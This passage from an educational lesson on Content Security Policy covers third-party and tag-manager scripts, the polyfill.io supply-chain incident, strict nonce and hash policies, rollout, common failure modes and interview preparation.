  • Loaded by a tag manager. Put the nonce on the tag manager's loader snippet. Scripts it adds through DOM APIs are trusted. Custom HTML tags inside the tag manager are the weak spot: Google Tag Manager, for example, documents a nonce-aware setup, but support varies by tool and tag type, so read the vendor's CSP guide and test each tag with the policy enforced.
  • Breaks under strict CSP. Vendors that use document.write, inline event handlers, or eval will be blocked. Ask the vendor for a CSP-compatible version, isolate them in an iframe, or replace them. A vendor's CSP support is a fair item on a procurement checklist.
Two zones. Inside your page on example.com: a nonced loader adds app.js and a tag manager; the tag manager adds analytics and an A/B test script. All are trusted through strict-dynamic and run with full page power. In a separate sandboxed iframe on another origin: a chat widget that can only talk to the page through postMessage.your page: example.comnonced loaderapp.jstag manageranalyticsA/B testfull page powersandboxed iframechat widgetother originpostMessage only
CSP decides which code enters the page. Once in, a vendor script can do anything your own code can, so risky widgets belong in a sandboxed iframe on another origin.

The hard truth: CSP decides whether a script runs, not what it does. A trusted vendor script runs with the full power of your page. It can read the DOM, call your APIs with the user's cookies, and send data anywhere connect-src allows. If the vendor is compromised, your policy lets the bad version in, because it comes through a trusted path.

This has happened. In 2024 the domain behind the popular polyfill.io service changed hands, and the script it served started sending malicious redirects to visitors of the many sites that still loaded it. A strict CSP did not help those sites, because they trusted that script on purpose. What helps is in the third-party scripts lesson: self-hosting fixed versions, Subresource Integrity (integrity hashes on script tags), fewer vendors, and running untrusted widgets in a sandboxed iframe on another origin.

Adding connect-src and friends

Once script execution is locked down, some teams add connect-src, img-src, and frame-src lists to limit where the page can talk. They catch accidental calls and some lazy data theft, and they document your dependencies. They are also allowlists, with the same upkeep problems. Add them in report-only first, own them in code review, and do not count on them to stop a determined attacker who already runs code: many channels, such as navigating the page, are hard to close.

Check your understanding · Exercise 9

Your page uses nonce + 'strict-dynamic'. Which statements about third-party scripts are true? Select all that apply.

Using CSP in a system design interview

CSP comes up in two ways. In a security-focused question ("design a rich text comment system", "how would you harden this app?"), it is part of the core answer. In a general frontend design (a news feed, a dashboard, an e-commerce site), it belongs in the non-functional requirements and the security pass near the end. Either way, a short, correct answer beats a long list of directives.

What to say, in order

  1. Place it. "Escaping and safe APIs prevent XSS; CSP limits the damage when one slips through. I would ship both."
  2. Pick the policy style from the rendering model. Server-rendered or streamed: per-request nonce with 'strict-dynamic'. Static or CDN-cached: build-time hashes with 'strict-dynamic'.
  3. Name the extras. object-src 'none', base-uri 'none', frame-ancestors for clickjacking, and reporting.
  4. Explain the rollout. Report-only first, triage the reports, then enforce with reporting kept on.
  5. Address third parties. Nonced loaders and tag managers work with 'strict-dynamic'; supply-chain risk needs SRI, self-hosting, or isolation on top.
A decision flowchart. Is the HTML built per request? If yes, use a nonce with strict-dynamic, with a fresh nonce and no shared caching. If no, can the build hash every inline script and put the hashes in the header? If yes, use hashes with strict-dynamic. If no, move inline code into files, use a 'self' policy, and check your origin for gadgets. In every case add object-src 'none', base-uri, and roll out in report-only first.HTML built per request?yesnononce + strict-dynamicfresh nonce, no-storeinline scripts hashable?build can set the headeryesnohash + strict-dynamiccomputed in the build'self' onlyno inline codealways: object-src, base-uri, report-only first
Start from the rendering model, not from a list of domains. Whatever the branch, object-src, base-uri, and a report-only phase come along.

How deep to go by level

LevelWhat a good answer includes
JuniorCSP is a header that limits which scripts run; avoid 'unsafe-inline'; it backs up escaping, it does not replace it.
MidNonces versus hashes and when each fits; 'strict-dynamic'; report-only rollout; frame-ancestors is header-only.
SeniorWhy allowlists are bypassable (JSONP, library gadgets); nonce and caching conflict; streaming and SSR nonce propagation; third-party and supply-chain limits; Trusted Types as the next layer; a phased rollout with metrics.

Failure modes to have ready

Senior candidates are often asked what goes wrong after launch. These are the problems teams hit most, each with the clue that gives it away and the fix. Mentioning one or two of them, briefly, shows you have shipped a policy and not only read about it.

SymptomLikely causeFix
Streamed page stuck on skeletonsLate inline scripts from the renderer lack the noncePass the nonce to the renderer, test with enforcement in development
Works locally, breaks in productionA proxy or CDN adds a second, stricter policyRead real response headers; remove or align the extra policy
Same nonce on every page loadHTML cached at the CDN or a static nonceprivate, no-store for nonced HTML, or switch to hashes
Inline theme script blocked after a tiny editThe hash no longer matches the new bytesCompute hashes in the build from final output
Analytics silently stoppedVendor uses document.write or a new domain without 'strict-dynamic'Use the vendor's CSP-ready loader; read reports by blockedURL
Flood of reports after launchBrowser extensions and proxiesFilter extension schemes, group, alert on new groups

Check your understanding · Exercise 10

In a design for a comments feature with user HTML, which CSP points add real value to the answer? Select all that apply.

Summary

  • CSP is a backstop for XSS: it stops injected scripts from running and reports them. Keep escaping and sanitizing; CSP limits the damage when they fail.
  • Trust scripts by proof, not by place. Domain allowlists are usually bypassable through JSONP and library gadgets on allowed hosts.
  • The strict recipe: script-src 'nonce-R' 'strict-dynamic' https: 'unsafe-inline'; object-src 'none'; base-uri 'none', with the last two script-src values only as old-browser fallbacks.
  • Nonces must be random, new on every response, and never in shared-cached HTML. Use build-time hashes for static and CDN-cached pages.
  • Send the policy as a header. A meta policy cannot do frame-ancestors, reporting, sandboxing, or report-only mode.
  • Roll out in report-only with report-to and report-uri, triage noisy reports, then enforce with reporting kept on.
  • SSR and streaming must pass the nonce to the renderer; a missed nonce shows up as content stuck on loading states.
  • CSP decides whether a script runs, not what it does: trusted third-party code still needs SRI, self-hosting, or iframe isolation.

In the interview

Questions interviewers ask about this. Answer each out loud first, then compare.

Question 1

What is Content Security Policy, and why do you need it if you already escape output?

Question 2

Why is a domain allowlist like script-src 'self' https://cdn.example.com considered weak?

Question 3

Nonces or hashes: how do you choose?

Question 4

How would you roll out CSP on a large existing site without breaking it?

Question 5

Your streamed SSR page works in development but sticks on loading skeletons in production. What do you check?

Practice it

These design problems lean on content security policy.

References

Read next